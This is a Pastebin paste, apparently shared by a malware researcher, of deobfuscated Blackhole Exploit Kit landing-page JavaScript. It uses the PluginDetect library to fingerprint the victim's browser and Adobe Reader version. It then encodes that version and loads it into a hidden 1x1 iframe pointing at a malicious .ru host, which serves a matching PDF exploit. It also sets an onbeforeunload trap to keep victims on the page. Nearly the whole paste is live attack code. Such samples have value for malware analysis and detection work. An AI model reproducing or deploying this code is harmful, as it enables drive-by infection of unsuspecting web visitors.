Advertisement
unixfreaxjp

BHEK PluginDetect OBFS during border.htm storm infection

Oct 21st, 2012
159
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. try {
  2. var PluginDetect = {
  3. version : "0.7.8", name : "PluginDetect", handler : function (c, b, a){
  4. return function (){
  5. c(b, a)
  6. }
  7. }
  8. , isDefined : function (b){
  9. return typeof b != "undefined"
  10. }
  11. , isArray : function (b){
  12. return (/array/i).test(Object.prototype.toString.call(b))
  13. }
  14. , isFunc : function (b){
  15. return typeof b == "function"
  16. }
  17. , isString : function (b){
  18. return typeof b == "string"
  19. }
  20. , isNum : function (b){
  21. return typeof b == "number"
  22. }
  23. , isStrNum : function (b){
  24. return (typeof b == "string" && (/\d/).test(b))
  25. }
  26. , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g,
  27. getNum : function (b, c){
  28. var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  29. exec(b) : null;
  30. return a ? a[0] : null
  31. }
  32. , compareNums : function (h, f, d){
  33. var e = this , c, b, a, g = parseInt;
  34. if (e.isStrNum(h) && e.isStrNum(f)){
  35. if (e.isDefined(d) && d.compareNums){
  36. return d.compareNums(h, f)
  37. }
  38. c = h.split(e.splitNumRegx);
  39. b = f.split(e.splitNumRegx);
  40. for (a = 0; a < Math.min(c.length, b.length);
  41. a ++ ){
  42. if (g(c[a], 10) > g(b[a], 10)){
  43. return 1
  44. }
  45. if (g(c[a], 10) < g(b[a], 10)){
  46. return - 1
  47. }
  48. }
  49. }
  50. return 0
  51. }
  52. , formatNum : function (b, c){
  53. var d = this , a, e;
  54. if (!d.isStrNum(b)){
  55. return null
  56. }
  57. if (!d.isNum(c)){
  58. c = 4
  59. }
  60. c--;
  61. e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  62. for (a = 0; a < 4; a ++ ){
  63. if (/^(0+)(.+)$/.test(e[a])){
  64. e[a] = RegExp.$2
  65. }
  66. if (a > c ||! (/\d/).test(e[a])){
  67. e[a] = "0"
  68. }
  69. }
  70. return e.slice(0, 4).join(",")
  71. }
  72. , $$hasMimeType : function (a){
  73. return function (c){
  74. if (!a.isIE && c){
  75. var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  76. for (b = 0; b < d.length; b ++ ){
  77. if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
  78. f = navigator.mimeTypes[d[b]];
  79. e = f ? f.enabledPlugin : 0;
  80. if (e && (e.name || e.description)){
  81. return f
  82. }
  83. }
  84. }
  85. }
  86. return null
  87. }
  88. }
  89. , findNavPlugin : function (l, e, c){
  90. var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  91. new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  92. for (f = 0; f < a.length; f ++ ){
  93. m = a[f].description || g;
  94. b = a[f].name || g;
  95. if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  96. test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  97. if (!k ||! (k.test(m) || k.test(b))){
  98. return a[f]
  99. }
  100. }
  101. }
  102. return null
  103. }
  104. , getMimeEnabledPlugin : function (k, m, c){
  105. var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a,
  106. l, d, j = e.isString(k) ? [k] : k;
  107. for (d = 0; d < j.length; d ++ ){
  108. if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
  109. l = f.description || h;
  110. a = f.name || h;
  111. if (b.test(l) || b.test(a)){
  112. if (!g ||! (g.test(l) || g.test(a))){
  113. return f
  114. }
  115. }
  116. }
  117. }
  118. return 0
  119. }
  120. , getPluginFileVersion : function (f, b){
  121. var h = this , e, d, g, a, c =- 1;
  122. if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  123. return b
  124. }
  125. if (!b){
  126. return e
  127. }
  128. e = h.formatNum(e);
  129. b = h.formatNum(b);
  130. d = b.split(h.splitNumRegx);
  131. g = e.split(h.splitNumRegx);
  132. for (a = 0; a < d.length; a ++ ){
  133. if (c >- 1 && a > c && d[a] != "0"){
  134. return b
  135. }
  136. if (g[a] != d[a]){
  137. if (c ==- 1){
  138. c = a
  139. }
  140. if (d[a] != "0"){
  141. return b
  142. }
  143. }
  144. }
  145. return e
  146. }
  147. , AXO : window.ActiveXObject, getAXO : function (a){
  148. var f = null, d, b = this , c = {
  149. }
  150. ;
  151. try {
  152. f = new b.AXO(a)
  153. }
  154. catch (d){
  155. }
  156. return f
  157. }
  158. , convertFuncs : function (f){
  159. var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  160. for (ain f){
  161. if (b.test(a)){
  162. try {
  163. g = a.slice(2);
  164. if (g.length > 0 &&! f[g]){
  165. f[g] = f[a](f);
  166. deletef[a]
  167. }
  168. }
  169. catch (d){
  170. }
  171. }
  172. }
  173. }
  174. , initObj : function (e, b, d){
  175. var a, c;
  176. if (e){
  177. if (e[b[0]] == 1 || d){
  178. for (a = 0; a < b.length; a = a + 2){
  179. e[b[a]] = b[a + 1]
  180. }
  181. }
  182. for (ain e){
  183. c = e[a];
  184. if (c && c[b[0]] == 1){
  185. this .initObj(c, b)
  186. }
  187. }
  188. }
  189. }
  190. , initScript : function (){
  191. var c = this , a = navigator, e = "/", f, i = a.userAgent || "", g = a.vendor || "",
  192. b = a.platform || "", h = a.product || "";
  193. c.initObj(c, ["$", c]);
  194. for (fin c.Plugins){
  195. if (c.Plugins[f]){
  196. c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
  197. }
  198. }
  199. ;
  200. c.OS = 100;
  201. if (b){
  202. var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
  203. 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, ""
  204. , 100];
  205. for (f = d.length - 2; f >= 0; f = f - 2){
  206. if (d[f] && new RegExp(d[f], "i").test(b)){
  207. c.OS = d[f + 1];
  208. break
  209. }
  210. }
  211. }
  212. c.convertFuncs(c);
  213. c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName(
  214. "body")[0] || document.body || null);
  215. c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
  216. c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) :
  217. null ;
  218. c.ActiveXEnabled = false;
  219. if (c.isIE){
  220. var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  221. "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  222. "Scripting.Dictionary", "wmplayer.ocx"];
  223. for (f = 0; f < j.length; f ++ ){
  224. if (c.getAXO(j[f])){
  225. c.ActiveXEnabled = true;
  226. break
  227. }
  228. }
  229. }
  230. c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  231. c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 :
  232. "0.9") : null;
  233. c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  234. c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  235. c.isSafari = ((/Apple/i).test(g) || (!g &&! c.isChrome)) && (
  236. /Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
  237. c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(
  238. RegExp.$1) : null;
  239. c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  240. c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ?
  241. parseFloat(RegExp.$1, 10) : null;
  242. c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  243. }
  244. , init : function (d){
  245. var c = this , b, d, a = {
  246. status :- 3, plugin : 0
  247. }
  248. ;
  249. if (!c.isString(d)){
  250. return a
  251. }
  252. if (d.length == 1){
  253. c.getVersionDelimiter = d;
  254. return a
  255. }
  256. d = d.toLowerCase().replace(/\s/g, "");
  257. b = c.Plugins[d];
  258. if (!b ||! b.getVersion){
  259. return a
  260. }
  261. a.plugin = b;
  262. if (!c.isDefined(b.installed)){
  263. b.installed = null;
  264. b.version = null;
  265. b.version0 = null;
  266. b.getVersionDone = null;
  267. b.pluginName = d
  268. }
  269. c.garbage = false;
  270. if (c.isIE &&! c.ActiveXEnabled && d !== "java"){
  271. a.status =- 2;
  272. return a
  273. }
  274. a.status = 1;
  275. return a
  276. }
  277. , fPush : function (b, a){
  278. var c = this ;
  279. if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0
  280. ])))){
  281. a.push(b)
  282. }
  283. }
  284. , callArray : function (b){
  285. var c = this , a;
  286. if (c.isArray(b)){
  287. for (a = 0; a < b.length; a ++ ){
  288. if (b[a] === null){
  289. return
  290. }
  291. c.call(b[a]);
  292. b[a] = null
  293. }
  294. }
  295. }
  296. , call : function (c){
  297. var b = this , a = b.isArray(c) ? c.length :- 1;
  298. if (a > 0 && b.isFunc(c[0])){
  299. c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  300. }
  301. else {
  302. if (b.isFunc(c)){
  303. c(b)
  304. }
  305. }
  306. }
  307. , getVersionDelimiter : ",", $$getVersion : function (a){
  308. return function (g, d, c){
  309. var e = a.init(g), f, b, h = {
  310. }
  311. ;
  312. if (e.status < 0){
  313. return null
  314. }
  315. ;
  316. f = e.plugin;
  317. if (f.getVersionDone != 1){
  318. f.getVersion(null, d, c);
  319. if (f.getVersionDone === null){
  320. f.getVersionDone = 1
  321. }
  322. }
  323. a.cleanup();
  324. b = (f.version || f.version0);
  325. b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  326. return b
  327. }
  328. }
  329. , cleanup : function (){
  330. }
  331. , addWinEvent : function (d, c){
  332. var e = this , a = window, b;
  333. if (e.isFunc(c)){
  334. if (a.addEventListener){
  335. a.addEventListener(d, c, false)
  336. }
  337. else {
  338. if (a.attachEvent){
  339. a.attachEvent("on" + d, c)
  340. }
  341. else {
  342. b = a["on" + d];
  343. a["on" + d] = e.winHandler(c, b)
  344. }
  345. }
  346. }
  347. }
  348. , winHandler : function (d, c){
  349. return function (){
  350. d();
  351. if (typeof c == "function"){
  352. c()
  353. }
  354. }
  355. }
  356. , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
  357. var b = {
  358. }
  359. ;
  360. a.winLoaded = true;
  361. a.callArray(a.WLfuncs0);
  362. a.callArray(a.WLfuncs);
  363. if (a.onDoneEmptyDiv){
  364. a.onDoneEmptyDiv()
  365. }
  366. }
  367. , winLoaded : false, $$onWindowLoaded : function (a){
  368. return function (b){
  369. if (a.winLoaded){
  370. a.call(b)
  371. }
  372. else {
  373. a.fPush(b, a.WLfuncs)
  374. }
  375. }
  376. }
  377. , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv :
  378. function (){
  379. var d = this , b, h, c, a, f, g;
  380. if (d.div && d.div.childNodes){
  381. for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  382. c = d.div.childNodes[b];
  383. if (c && c.childNodes){
  384. for (h = c.childNodes.length - 1; h >= 0; h -- ){
  385. g = c.childNodes[h];
  386. try {
  387. c.removeChild(g)
  388. }
  389. catch (f){
  390. }
  391. }
  392. }
  393. if (c){
  394. try {
  395. d.div.removeChild(c)
  396. }
  397. catch (f){
  398. }
  399. }
  400. }
  401. }
  402. if (!d.div){
  403. a = document.getElementById(d.divID);
  404. if (a){
  405. d.div = a
  406. }
  407. }
  408. if (d.div && d.div.parentNode){
  409. try {
  410. d.div.parentNode.removeChild(d.div)
  411. }
  412. catch (f){
  413. }
  414. d.div = null
  415. }
  416. }
  417. , DONEfuncs : [], onDoneEmptyDiv : function (){
  418. var c = this , a, b;
  419. if (!c.winLoaded){
  420. return
  421. }
  422. if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
  423. return
  424. }
  425. for (ain c){
  426. b = c[a];
  427. if (b && b.funcs){
  428. if (b.OTF == 3){
  429. return
  430. }
  431. if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
  432. return
  433. }
  434. }
  435. }
  436. for (a = 0; a < c.DONEfuncs.length; a ++ ){
  437. c.callArray(c.DONEfuncs)
  438. }
  439. c.emptyDiv()
  440. }
  441. , getWidth : function (c){
  442. if (c){
  443. var a = c.scrollWidth || c.offsetWidth, b = this ;
  444. if (b.isNum(a)){
  445. return a
  446. }
  447. }
  448. return - 1
  449. }
  450. , getTagStatus : function (m, g, a, b){
  451. var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d =
  452. g.span, i = c.getWidth(d);
  453. if (!k ||! h ||! d ||! c.getDOMobj(m)){
  454. return - 2
  455. }
  456. if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1){
  457. return 0
  458. }
  459. if (l >= i){
  460. return - 1
  461. }
  462. try {
  463. if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  464. if (!m.winLoaded && c.winLoaded){
  465. return 1
  466. }
  467. if (m.winLoaded && c.isNum(b)){
  468. if (!c.isNum(m.count)){
  469. m.count = b
  470. }
  471. if (b - m.count >= 10){
  472. return 1
  473. }
  474. }
  475. }
  476. }
  477. catch (f){
  478. }
  479. return 0
  480. }
  481. , getDOMobj : function (g, a){
  482. var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  483. try {
  484. if (b && a){
  485. d.div.focus()
  486. }
  487. }
  488. catch (f){
  489. }
  490. return b ? c.firstChild : null
  491. }
  492. , setStyle : function (b, g){
  493. var f = b.style, a, d, c = this ;
  494. if (f && g){
  495. for (a = 0; a < g.length; a = a + 2){
  496. try {
  497. f[g[a]] = g[a + 1]
  498. }
  499. catch (d){
  500. }
  501. }
  502. }
  503. }
  504. , insertDivInBody : function (a, i){
  505. var h, f = this , b = "pd33993399", d = null, j = i ? window.top.document : window.
  506. document, c = "<", g = (j.getElementsByTagName("body")[0] || j.body);
  507. if (!g){
  508. try {
  509. j.write(c + 'div id="' + b + '">o' + c + "/div>");
  510. d = j.getElementById(b)
  511. }
  512. catch (h){
  513. }
  514. }
  515. g = (j.getElementsByTagName("body")[0] || j.body);
  516. if (g){
  517. if (g.firstChild && f.isDefined(g.insertBefore)){
  518. g.insertBefore(a, g.firstChild)
  519. }
  520. else {
  521. g.appendChild(a)
  522. }
  523. if (d){
  524. g.removeChild(d)
  525. }
  526. }
  527. else {
  528. }
  529. }
  530. , insertHTML : function (g, b, h, a, l){
  531. var m, n = document, k = this , q, p = n.createElement("span"), o, j, f = "<";
  532. var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  533. "0px", "visibility", "visible"];
  534. var i =
  535. "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  536. if (!k.isDefined(a)){
  537. a = ""
  538. }
  539. if (k.isString(g) && (/[^\s]/).test(g)){
  540. g = g.toLowerCase().replace(/\s/g, "");
  541. q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
  542. q += 'style="' + i + 'display:inline;" ';
  543. for (o = 0; o < b.length; o = o + 2){
  544. if (/[^\s]/.test(b[o + 1])){
  545. q += b[o] + '="' + b[o + 1] + '" '
  546. }
  547. }
  548. q += ">";
  549. for (o = 0; o < h.length; o = o + 2){
  550. if (/[^\s]/.test(h[o + 1])){
  551. q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
  552. }
  553. }
  554. q += a + f + "/" + g + ">"
  555. }
  556. else {
  557. q = a
  558. }
  559. if (!k.div){
  560. j = n.getElementById(k.divID);
  561. if (j){
  562. k.div = j
  563. }
  564. else {
  565. k.div = n.createElement("div");
  566. k.div.id = k.divID
  567. }
  568. k.setStyle(k.div, c.concat(["width", k.divWidth + "px", "height", (k.pluginSize +
  569. 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3)
  570. + "px", "verticalAlign", "baseline", "display", "block"]));
  571. if (!j){
  572. k.setStyle(k.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  573. k.insertDivInBody(k.div)
  574. }
  575. }
  576. if (k.div && k.div.parentNode){
  577. k.setStyle(p, c.concat(["fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.
  578. pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  579. try {
  580. p.innerHTML = q
  581. }
  582. catch (m){
  583. }
  584. ;
  585. try {
  586. k.div.appendChild(p)
  587. }
  588. catch (m){
  589. }
  590. ;
  591. return {
  592. span : p, winLoaded : k.winLoaded, tagName : g, outerHTML : q
  593. }
  594. }
  595. return {
  596. span : null, winLoaded : k.winLoaded, tagName : "", outerHTML : q
  597. }
  598. }
  599. , Plugins : {
  600. adobereader : {
  601. mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  602. "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  603. {
  604. }
  605. , pluginHasMimeType : function (d, c, f){
  606. var b = this , e = b.$, a;
  607. for (ain d){
  608. if (d[a] && d[a].type && d[a].type == c){
  609. return 1
  610. }
  611. }
  612. if (e.getMimeEnabledPlugin(c, f)){
  613. return 1
  614. }
  615. return 0
  616. }
  617. , getVersion : function (l, j){
  618. var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  619. if (d.isString(j)){
  620. j = j.replace(/\s/g, "");
  621. if (j){
  622. k = j
  623. }
  624. }
  625. else {
  626. j = null
  627. }
  628. if (d.isDefined(g.INSTALLED[k])){
  629. g.installed = g.INSTALLED[k];
  630. return
  631. }
  632. if (!d.isIE){
  633. a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  634. if (g.getVersionDone !== 0){
  635. g.getVersionDone = 0;
  636. b = d.getMimeEnabledPlugin(g.mimeType, a);
  637. if (!j){
  638. n = b
  639. }
  640. if (!b && d.hasMimeType(g.mimeType)){
  641. b = d.findNavPlugin(a, 0)
  642. }
  643. if (b){
  644. g.navPluginObj = b;
  645. h = d.getNum(b.description) || d.getNum(b.name);
  646. h = d.getPluginFileVersion(b, h);
  647. if (!h && d.OS == 1){
  648. if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  649. h = "9"
  650. }
  651. else {
  652. if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  653. h = "8"
  654. }
  655. }
  656. }
  657. }
  658. }
  659. else {
  660. h = g.version
  661. }
  662. if (!d.isDefined(n)){
  663. n = d.getMimeEnabledPlugin(k, a)
  664. }
  665. g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  666. }
  667. else {
  668. b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  669. c =/=\ s * ([ \ d \ .] + ) / g;
  670. try {
  671. f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  672. ""], "", g))).GetVersions();
  673. for (m = 0; m < 5; m ++ ){
  674. if (c.test(f) && (!h || RegExp.$1 > h)){
  675. h = RegExp.$1
  676. }
  677. }
  678. }
  679. catch (i){
  680. }
  681. g.installed = h ? 1 : (b ? 0 :- 1)
  682. }
  683. if (!g.version){
  684. g.version = d.formatNum(h)
  685. }
  686. g.INSTALLED[k] = g.installed
  687. }
  688. }
  689. , zz : 0
  690. }
  691. }
  692. ;
  693. PluginDetect.initScript();
  694. PluginDetect.getVersion(".");
  695. pdfver = PluginDetect.getVersion("AdobeReader");
  696. }
  697. catch (e){
  698. }
  699. if (typeof pdfver == 'string'){
  700. pdfver = pdfver.split('.')
  701. }
  702. else {
  703. pdfver = [0, 0, 0, 0]
  704. }
  705. function x(s){
  706. d = [];
  707. for (i = 0; i < s.length; i ++ ){
  708. k = (s.charCodeAt(i) - 46).toString(16);
  709. if (k.length == 1)k = "0" + k;
  710. d.push(k);
  711. }
  712. ;
  713. return d.join("");
  714. }
  715. end_redirect = function (){
  716. }
  717. ;
  718. window.onbeforeunload = function (){
  719. return "";
  720. }
  721. ;
  722. try {
  723. show_pdf2 = function (src){
  724. var pifr = document.createElement('IFRAME');
  725. pifr.setAttribute('width', 1);
  726. pifr.setAttribute('height', 1);
  727. pifr.setAttribute('src', src);
  728. document.body.appendChild(pifr)
  729. }
  730. ;
  731. show_pdf2("http://secondhand4u.ru:8080/forum/links/column.php?ikpdx=" + x("bdcdf") +
  732. "&gsygl=" + x("k") + "&lfkabl=3307093738070736060b&gtjmu=" + x(pdfver.join(".")));
  733. }
  734. catch (errno){
  735. }
  736. document.write('');
  737. setTimeout(end_redirect, 60000);
Advertisement
RAW Paste Data Copied
Advertisement